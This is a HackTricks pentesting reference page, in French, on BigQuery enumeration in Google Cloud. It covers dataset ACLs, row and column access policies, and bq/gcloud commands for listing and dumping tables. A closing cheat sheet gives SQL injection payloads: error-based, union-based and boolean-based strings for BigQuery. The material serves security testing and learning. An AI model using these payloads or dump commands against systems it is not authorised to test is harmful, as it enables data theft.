# GCP - Bigquery Enum

{{#include ../../../banners/hacktricks-training.md}}

## Informations de base

Google Cloud BigQuery est un **entrepôt de données d'entreprise entièrement géré et sans serveur**, offrant des capacités pour **l'analyse de pétaoctets** de données, gérant ainsi efficacement des ensembles de données à grande échelle. En tant que Plateforme en tant que Service (PaaS), elle fournit aux utilisateurs une infrastructure et des outils pour faciliter la gestion des données sans nécessiter de supervision manuelle.

Il prend en charge les requêtes utilisant **ANSI SQL**. Les principaux objets sont des **ensembles de données** contenant des **tables** contenant des **données** SQL.

### Chiffrement

Par défaut, une **clé de chiffrement gérée par Google** est utilisée, bien qu'il soit possible de configurer une **clé de chiffrement gérée par le client (CMEK)**. Il est possible d'indiquer la clé de chiffrement par ensemble de données et par table à l'intérieur d'un ensemble de données.

### Expiration

Il est possible d'indiquer un **temps d'expiration dans l'ensemble de données** afin que toute nouvelle table créée dans cet ensemble de données soit **automatiquement supprimée** le nombre de jours spécifié après sa création.

### Sources externes

Bigquery est profondément intégré avec d'autres services Google. Il est possible de charger des données à partir de buckets, pub/sub, google drive, bases de données RDS...

### ACLs d'ensemble de données

Lorsqu'un ensemble de données est créé, des **ACLs sont attachées** pour donner accès à celui-ci. Par défaut, des privilèges **Propriétaire** sont accordés à l'**utilisateur qui a créé** l'ensemble de données, puis **Propriétaire** au groupe **projectOwners** (Propriétaires du projet), **Écrivain** au groupe **projectWriters**, et **Lecteur** au groupe **projectReaders** :
```bash
bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
```
### Contrôle d'accès aux lignes de table

Il est possible de **contrôler les lignes auxquelles un principal pourra accéder dans une table** avec des politiques d'accès aux lignes. Celles-ci sont définies à l'intérieur de la table en utilisant [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement).\
La politique d'accès définit un filtre et **seules les lignes correspondantes** à ce filtre seront **accessibles** par les principaux indiqués.
```sql
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
```

```bash
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
```
### Contrôle d'accès aux colonnes

<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>

Pour restreindre l'accès aux données au niveau des colonnes :

1. **Définir une taxonomie et des étiquettes de politique**. Créez et gérez une taxonomie et des étiquettes de politique pour vos données. [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
2. Optionnel : Accordez le **rôle de lecteur à granularité fine du catalogue de données à un ou plusieurs responsables** sur une ou plusieurs des étiquettes de politique que vous avez créées.
3. **Attribuez des étiquettes de politique à vos colonnes BigQuery**. Dans BigQuery, utilisez des annotations de schéma pour attribuer une étiquette de politique à chaque colonne où vous souhaitez restreindre l'accès.
4. **Appliquez le contrôle d'accès sur la taxonomie**. L'application du contrôle d'accès entraîne l'application des restrictions d'accès définies pour toutes les étiquettes de politique dans la taxonomie.
5. **Gérez l'accès aux étiquettes de politique**. Utilisez [Identity and Access Management](https://cloud.google.com/iam) (IAM) pour restreindre l'accès à chaque étiquette de politique. La politique est en vigueur pour chaque colonne qui appartient à l'étiquette de politique.

Lorsqu'un utilisateur essaie d'accéder aux données d'une colonne au moment de la requête, BigQuery **vérifie l'étiquette de politique de la colonne et sa politique pour voir si l'utilisateur est autorisé à accéder aux données**.

> [!TIP]
> En résumé, pour restreindre l'accès à certaines colonnes pour certains utilisateurs, vous pouvez **ajouter une étiquette à la colonne dans le schéma et restreindre l'accès** des utilisateurs à l'étiquette en appliquant un contrôle d'accès sur la taxonomie de l'étiquette.

Pour appliquer le contrôle d'accès sur la taxonomie, il est nécessaire d'activer le service :
```bash
gcloud services enable bigquerydatapolicy.googleapis.com
```
Il est possible de voir les tags des colonnes avec :
```bash
bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
```
### Énumération
```bash
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account
```
### BigQuery SQL Injection

Pour plus d'informations, vous pouvez consulter le blog : [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). Ici, seuls quelques détails vont être fournis.

**Commentaires** :

- `select 1#from here it is not working`
- `select 1/*between those it is not working*/` Mais juste le premier ne fonctionnera pas
- `select 1--from here it is not working`

Obtenez **des informations** sur l'**environnement** telles que :

- Utilisateur actuel : `select session_user()`
- ID de projet : `select @@project_id`

Concaténer les lignes :

- Tous les noms de table : `string_agg(table_name, ', ')`

Obtenez les **datasets**, **tables** et **noms de colonnes** :

- **Nom du projet** et **nom du dataset** :
```sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
```
- **Noms de colonne** et **noms de table** de **toutes les tables** du jeu de données :
```sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
```
- **Autres ensembles de données** dans le même projet :
```sql
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
```
**Types d'injection SQL :**

- Basé sur les erreurs - conversion : `select CAST(@@project_id AS INT64)`
- Basé sur les erreurs - division par zéro : `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
- Basé sur l'union (vous devez utiliser ALL dans bigquery) : `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
- Basé sur le booléen : `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
- Potentiellement basé sur le temps - Exemple d'utilisation de jeux de données publics : `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``

**Documentation :**

- Liste de toutes les fonctions : [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
- Instructions de script : [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)

### Escalade de privilèges & Post exploitation

{{#ref}}
../gcp-privilege-escalation/gcp-bigquery-privesc.md
{{#endref}}

### Persistance

{{#ref}}
../gcp-persistence/gcp-bigquery-persistence.md
{{#endref}}

## Références

- [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)

{{#include ../../../banners/hacktricks-training.md}}
